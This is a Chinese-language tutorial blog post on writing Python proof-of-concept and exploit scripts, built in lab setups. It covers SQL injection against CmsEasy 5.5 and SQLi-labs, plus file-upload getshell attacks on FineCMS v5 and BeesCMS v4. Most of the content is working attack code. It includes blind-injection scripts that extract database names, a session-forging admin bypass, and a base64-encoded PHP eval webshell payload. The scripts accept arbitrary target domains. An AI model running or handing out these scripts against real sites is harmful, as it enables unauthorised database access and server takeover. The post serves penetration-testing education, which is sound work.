简介POC,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化,在安全中可以理解成为漏洞验证程序EXP:全称Exploit,英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞POC与EXP的区别:POC是证明观点,一般是样本;EXP是漏洞利用,一般是程序。如果发现漏洞,给出POC可以写出EXP;POC框架:就是一个批量调用,管理POC的程序POC编写流程:

根据漏洞详情找到影响版本,并搭建靶场分析漏洞详情,编写代码测试POCSQL注入型报错注入靶场环境:CmsEasy_v5.5

Tip:一开始使用PhpStudy搭建报错,后使用WAMP成功搭建漏洞详情:CmsEasy最新版5.5_UTF-8_20140802多处SQL注入漏洞复现先复现一下该漏洞。参考漏洞详情,可知http://server.com/cmseasy/celive/live/header.php存在一处漏洞,这里使用HackBarPOST一下需要强调一点,在扫描的过程中,只需要证明漏洞存在就行。并且报告中不能出现管理员账号密码,只需要证明可以执行SQL语句即可

因此需要修改Payload,输出CmsEasy的MD5值:代码语言:javascript复制xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#POC使用Python提交POST请求,并打印结果代码语言:javascript复制# -*- coding:utf-8 -*-

import urllib

import urllib2

def check():

target = "http://server.com/cmseasy/celive/live/header.php"

# Payload

data = {

"xajax":"LiveMessage",

"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"

}

req = urllib2.Request(target, data=urllib.urlencode(data))

response = urllib2.urlopen(req)

text = response.read()

print text

if __name__ == '__main__':

check()判断一下打印结果是否包含CmsEasy的MD5值,这里需要使用hashlib库代码语言:javascript复制# print text

if hashlib.md5('CmsEasy').hexdigest() in text:

print "%s is vulnerable" % target

else:

print "%s is not vulnerable" % target增加input,实现批量调用代码语言:javascript复制def check(domain):

target = "%s/cmseasy/celive/live/header.php" % domain

# Payload

# ...

if __name__ == '__main__':

domain = raw_input("请输入域名: ")

check(domain)增加命令行调用,需要使用sys库代码语言:javascript复制 if __name__ == '__main__':

arg = sys.argv

domain = ''

if len(arg) == 2:

domain = arg[1]

check(domain)

else:

print u"使用说明: python %s IP/域名" % (arg[0])完整代码代码语言:javascript复制# -*- coding:utf-8 -*-

"""

@Author: Naraku

@File: poc-sql-1.py

"""

import urllib

import urllib2

import hashlib

import sys

def check(domain):

target = "%s/cmseasy/celive/live/header.php" % domain

# target = "http://server.com/cmseasy/celive/live/header.php"

# Payload

data = {

"xajax":"LiveMessage",

"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"

}

req = urllib2.Request(target, data=urllib.urlencode(data))

response = urllib2.urlopen(req)

text = response.read()

# print text # 输出一下

if hashlib.md5('CmsEasy').hexdigest() in text:

print "%s is vulnerable" % target

else:

print "%s is not vulnerable" % target

if __name__ == '__main__':

arg = sys.argv

domain = ''

if len(arg) == 2:

domain = arg[1]

check(domain)

else:

print u"使用说明: python %s IP/域名" % (arg[0])布尔盲注靶场环境:SQLi-labs的第5关POC只需要验证漏洞存在,这里使用1和-1即可根据是否返回You are in判断是否存在漏洞代码语言:javascript复制def POC(url):

payload = ['1', '-1']

r1 = requests.get(url + payload[0])

r2 = requests.get(url + payload[1])

if ("You are in" in r1.text) and ("You are in" not in r2.text):

print "True"

else:

print "False"

if __name__ == '__main__':

url = 'http://test.com/sql/Less-5/?id='

POC(url)EXP这里先猜解一下当前库名的长度,当and的两边均为True时返回You are in。此处可判断库名长度为8代码语言:javascript复制?id=1' and (length(database())=1)--+

?id=1' and (length(database())=2)--+

......

?id=1' and (length(database())=8)--+ # 返回You are in使用Python实现:代码语言:javascript复制url = 'http://test.com/sql/Less-5/?id=1'

db_length = 0

for i in range(1, 20):

payload = "' and (length(database())=%d)--+" % i

# print(url+payload)

r = requests.get(url + payload)

if "You are in" in r.text:

db_length = i

print "Current_db_length: %d" % db_length接下来猜库名。使用left(database(),1)函数,从左往右返回库名的i位,然后跟后面的字符进行比较

库名为:securityleft(database(),1),返回sleft(database(),2),返回seleft(database(),8),返回security代码语言:javascript复制...

test.com/sql/Less-5/?id=1' and left(database(),1)='s' --+

...

test.com/sql/Less-5/?id=1' and left(database(),2)='se' --+

...

test.com/sql/Less-5/?id=1' and left(database(),3)='sec' --+

...代码如下:代码语言:javascript复制db_name = ''

char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1, db_length+1):

for c in char:

payload = "' and left(database(),%d)='%s' --+" % (i, db_name+c) #

r = requests.get(url + payload)

if "You are in" in r.text:

db_name += c # 将当前字符加到库名,并跳出循环

print "Current_db_name: %s" % db_name

break完整代码代码语言:javascript复制# -*- coding:utf-8 -*-

"""

@Author: Naraku

@File: poc-sql-2.py

"""

import requests

def POC(url):

payload = ['1', '-1']

r1 = requests.get(url + payload[0])

r2 = requests.get(url + payload[1])

if ("You are in" in r1.text) and ("You are in" not in r2.text):

print "True"

else:

print "False"

def EXP(url):

db_length = 0

db_name = ''

char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1, 20):

payload = "' and (length(database())=%d)--+" % i

r = requests.get(url + payload)

if "You are in" in r.text:

db_length = i

print "Current_db_length: %d" % db_length

for i in range(1, db_length+1):

for c in char:

payload = "' and left(database(),%d)='%s' --+" % (i, db_name + c)

r = requests.get(url + payload)

if "You are in" in r.text:

db_name += c # 将当前字符加到库名,并跳出循环

print "Current_db_name: %s" % db_name

break

if __name__ == '__main__':

url = 'http://test.com/sql/Less-5/?id='

POC(url)

EXP(url+'1')时间盲注靶场环境:SQLi-labs的第9关POC根据响应时间来确定是否存在漏洞,Payload:?id=1'and sleep(5) --+POC如下,通过调用time()函数来确定响应时间代码语言:javascript复制# -*- coding:utf-8 -*-

import requests

import time

def POC(url):

payload = "1' and sleep(5) --+"

t1 = time.time()

requests.get(url + payload)

t2 = time.time()

if t2-t1 >=5 :

print "True"

else:

print "False"

if __name__ == '__main__':

url = "http://test.com/sql/Less-5/?id=1"

POC(url)EXP判断库名长度。这里延时5秒太长了,故修改为2秒代码语言:javascript复制db_length = 0

for i in range(1,20):

payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i

t1 = time.time()

requests.get(url + payload)

t2 = time.time()

if t2-t1 >= 2:

db_length = i

print "Current_db_length: %d" % db_length

break猜解库名。这里的方法和前面布尔盲注差不多,Payload使用if()和left()函数,当满足条件时则延时2秒代码语言:javascript复制db_name = ''

char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1, db_length+1):

for c in char:

payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)

t1 = time.time()

r = requests.get(url + payload)

t2 = time.time()

if t2-t1 >= 2:

db_name += c # 将当前字符加到库名,并跳出循环

print "Current_db_name: %s" % db_name

break完整代码代码语言:javascript复制# -*- coding:utf-8 -*-

"""

@Author: Naraku

@File: poc-sql-3.py

"""

import requests

import time

def POC(url):

payload = "1' and sleep(5) --+"

t1 = time.time()

requests.get(url + payload)

t2 = time.time()

if t2-t1 >=5 :

print "True"

else:

print "False"

def EXP(url):

db_length = 0

db_name = ''

char = 'abcdefghijklnmopqrstuvwxyz_-'

for i in range(1,20):

payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i

t1 = time.time()

requests.get(url + payload)

t2 = time.time()

if t2-t1 >= 2:

db_length = i

print "Current_db_length: %d" % db_length

break

for i in range(1, db_length+1):

for c in char:

payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)

t1 = time.time()

r = requests.get(url + payload)

t2 = time.time()

if t2-t1 >= 2:

db_name += c # 将当前字符加到库名,并跳出循环

print "Current_db_name: %s" % db_name

break

if __name__ == '__main__':

url = "http://test.com/sql/Less-5/?id=1"

POC(url)

EXP(url)文件上传型前台Getshell靶场环境:FineCMS v5漏洞详情:关于finecms v5 会员头像 任意文件上传漏洞分析漏洞复现漏洞源码:Github - dayrui/finecms。最新的源码v5.1已修复此漏洞,通过翻查Commit找到了FineCMS v5.0.5版的源码,成功复现

Tip:安装时若出现PHP未开启Mcrypt扩展,原因是Mcrypt库已在PHP7.1中弃用,并在PHP7.2中删除(参考PHP手册 - Mcrypt),使用低版本PHP即可。进入网站首页,使用默认账号密码admin/admin登陆,自动跳转到会员中心,点击上传头像,开启Burp抓包,任意选择一张图片并点击保存根据漏洞详情,将POST包中的image/jpeg修改为image/php,点击提交。响应中含有status关键字表示漏洞存在这里不能直接上传一句话木马,但是可以通过POST数据进行写入,需要进行Base64编码。修改数据包如下:代码语言:javascript复制tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKIGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Cj8+POC根据前面复现步骤,验证过程大概是:注册-登陆-上传一个php文件-验证是否上传成功完整POC。这里参考了别人的POC,需要注意的是POC仅作验证,因此不能写入木马,这里只写一个phpinfo()代码语言:javascript复制# -*- coding:utf-8 -*-

"""

@Author: Naraku

@File: poc-upload-1.py

"""

import random

import requests

def POC(url):

s = requests.session()

username = random.randint(0, 999999)

# 注册

register_url = url + "/index.php?s=member&c=register&m=index"

register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",

"data[email]": "admin@admin.com"}

register_response = s.post(register_url, data=register_payload)

# 登陆

login_url = url + "/index.php?s=member&c=login&m=index"

login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}

login_response = s.post(login_url, data=login_payload)

# 上传

upload_url = url + "/index.php?s=member&c=account&m=upload"

upload_payload = {"tx": "data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}

upload_response = s.post(upload_url, data=upload_payload).content

if "status" in upload_response:

return True

return False

if __name__ == '__main__':

url = "http://server.com/"

print POC(url)后台Getshell靶场环境:BeesCMS v4漏洞详情:BeesCMS Getshell漏洞复现搭建完成后,根据漏洞详情,访问index.php,POST一下数据代码语言:javascript复制_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999访问admin/upload.php,上传文件。并将Content-Type修改为image/png。这里上传一个phpinfoPOC代码语言:javascript复制# -*- coding:utf-8 -*-

"""

@Author: Naraku

@File: poc-upload-2.py

"""

import requests

def POC(url):

login_payload = {

'_SESSION[login_in]': '1',

'_SESSION[admin]': '1',

'_SESSION[login_time]': '999999999999'

}

r = requests.post(url=url, data=login_payload)

cookie = r.cookies["PHPSESSID"]

attack_url = url.replace("index.php", "admin/upload.php")

payload = {

'up': (

'shell.php',

" ",

'image/png',

),

}

attack_cookie = {'PHPSESSID': cookie}

upload_response = requests.post(attack_url, cookies=attack_cookie, files=payload)

if ".php" in upload_response.text:

return "True"

return "False"

if __name__ == '__main__':

url = "http://server.com/beescms/index.php"

print POC(url)其它靶场源码及POC代码文件,请前往博客共享网盘下载参考:i春秋 - Python大法之从HELL0 MOMO到编写POC (九) - (十五)